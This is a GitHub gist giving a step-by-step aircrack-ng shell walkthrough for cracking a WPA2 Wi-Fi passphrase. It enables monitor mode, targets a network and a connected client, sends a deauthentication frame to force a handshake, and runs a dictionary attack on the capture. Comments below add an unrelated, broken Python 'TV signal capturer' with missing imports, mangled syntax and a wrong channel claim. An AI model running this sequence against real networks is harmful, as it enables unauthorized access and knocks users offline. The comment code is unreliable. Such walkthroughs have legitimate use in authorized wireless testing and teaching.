Skip to content

Instantly share code, notes, and snippets.

@hktaskin
Last active January 23, 2026 09:53
Show Gist options
  • Select an option

  • Save hktaskin/84d159cdcaf87d6bbedef14b389fec7b to your computer and use it in GitHub Desktop.

Select an option

Save hktaskin/84d159cdcaf87d6bbedef14b389fec7b to your computer and use it in GitHub Desktop.
WPA Handshake Capture and Crack the Passphrase
# Capture WPA Handshake and use a dictionary to find the WiFi passphrase
# https://www.aircrack-ng.org/doku.php?id=cracking_wpa
# https://www.kali.org/tools/aircrack-ng/
# Install Wi-Fi Adapter Drivers and reboot
sudo apt install firmware-ath9k-htc
sudo reboot
# Check interface name
ifconfig
ip a
# Identify target network details
sudo airodump-ng wlan0mon
#--------------------------------------------------------
# Target WiFi SSID: TestNetwork
# Target WiFi BSSID (MAC): AA:BB:CC:DD:EE:FF
# Target WiFi Channel: 11
# Target WiFi ENC-CIPHER-AUTH: WPA2 CCMP PSK
#--------------------------------------------------------
export TARGET_BSSID=AA:BB:CC:DD:EE:FF
export TARGET_CH=11
# Check Monitor Mode Availability
sudo airmon-ng
sudo airmon-ng check
# Kill processes if needed
sudo airmon-ng check kill
# Start monitor mode on interface wlan0 on target channel
sudo airmon-ng start wlan0 $TARGET_CH
# Check new interface name
# New interface name will be wlan0mon
ifconfig
ip a
# Monitor only target SSID and look for connected clients
sudo airodump-ng --bssid $TARGET_BSSID --channel $TARGET_CH wlan0mon
#-----------------------------------------
# Connected Client MAC: 11:22:33:44:55:66
#-----------------------------------------
export CLIENT_MAC=11:22:33:44:55:66
# Start to capture and wait for handshake
sudo airodump-ng --bssid $TARGET_BSSID --channel $TARGET_CH --write handshake_file wlan0mon
# Deauthenticate the connected client to make things faster
sudo aireplay-ng --deauth 1 -a $TARGET_BSSID -c $CLIENT_MAC wlan0mon
# Run aircrack-ng to crack the pre-shared key
sudo aircrack-ng -b $TARGET_BSSID -w pass.txt handshake_file*.cap
@ayendi920-design
Copy link
Copy Markdown

`#!/usr/bin/env python3
"""
TV Signal Capturer using Python

Requirements: r820t.py module for RTL-SDR library
"""

import time, sys

def capture_signal(freq_hz):
"""Capture signal at given frequency with proper settings."""

# Set up the RTL-SDR device
sample_rate = 3.2e6   # Hz - standard TV bandwidth
center_freq = freq_hz   # Target channel

# Tune to target frequency and output samples
print(f"[+] Tuning to {freq_hz/1000000} MHz")

try:
    with open('tv_signal.bin', 'wb') as f:
        while True:
            # Capture 1 second at a time (adjust according to your needs)
            data = rtl_sdr.read_samples(sample_rate, duration=1)
            f.write(data)
            
            print(".", end="", flush=True)  # Progress indicator
            sys.stdout.flush()
            
except KeyboardInterrupt:
    print("\n[+] Capture stopped")

if name == "main":
capture_signal(602500000) # Example frequency (Channel 3)

@ayendi920-design
Copy link
Copy Markdown

Megus ta esta página es muy con fiable

@ayendi920-design
Copy link
Copy Markdown

git@gist.github.com:84d159cdcaf87d6bbedef14b389fec7b.git

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment